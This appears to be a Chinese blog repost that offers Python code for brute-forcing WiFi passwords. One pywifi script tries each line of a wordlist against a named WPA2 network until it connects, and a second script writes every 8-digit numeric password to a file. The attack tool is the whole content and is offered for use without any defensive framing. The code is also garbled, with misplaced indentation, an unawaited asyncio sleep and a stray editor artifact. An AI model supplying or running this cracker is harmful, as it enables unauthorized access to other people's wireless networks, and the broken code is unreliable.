python生成密码本暴力破解WiFi

找到的第三种方法

import time
import pywifi
from pywifi import const
from asyncio.tasks import sleep

class Pojie():
    def __init__(self,path):
        self.file = open(path,'r',errors='ignore')
        wifi = pywifi.PyWiFi()
        self.iface = wifi.interfaces()[0]
        self.iface.disconnect()

    time.sleep(1)

    assert self.iface.status()in\
        [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]

def readPassWord(self):
    print('开始破解')
    while True:

        try:
            myStr = self.file.readline()
            if not myStr:
                break
            bool1 = self.test_connect(myStr)
            if bool1:
                print('密码正确:',myStr)
                break
            else:
                print('密码错误:'+myStr)
                sleep(3)
        except:
            continue
def test_connect(self,findStr):

    profile = pywifi.Profile()
    profile.ssid = '666666'#wifi名称========================================
    profile.auth = const.AUTH_ALG_OPEN
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    profile.key = findStr #密码

    self.iface.remove_all_network_profiles()
    tmp_profile = self.iface.add_network_profile(profile)
    self.iface.connect(tmp_profile)
    time.sleep(5)
    if self.iface.status() == const.IFACE_CONNECTED:
        isOK = True
    else:
        isOK = False
    self.iface.disconnect()
    time.sleep(1)
    assert  self.iface.status()in\
        [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]

    return isOK
def __del__(self):
    self.file.close()

path = r'C:/Users/liu/Desktop/paswwer.txt'
start = Pojie(path)
start.readPassWord()TOC](这里写自定义目录标题)

密码本

import itertools as its
words = '1234567890'
# 生成密码的位数
r = its.product(words,repeat=8)
dic = open('C:/Users/liu/Desktop/paswwer.txt','a')

for i in r:
    dic.write(''.join(i))
    dic.write(''.join('\n'))
    print(i)

dic.close()
print('密码本生成')

你可能感兴趣的:(python生成密码本暴力破解WiFi)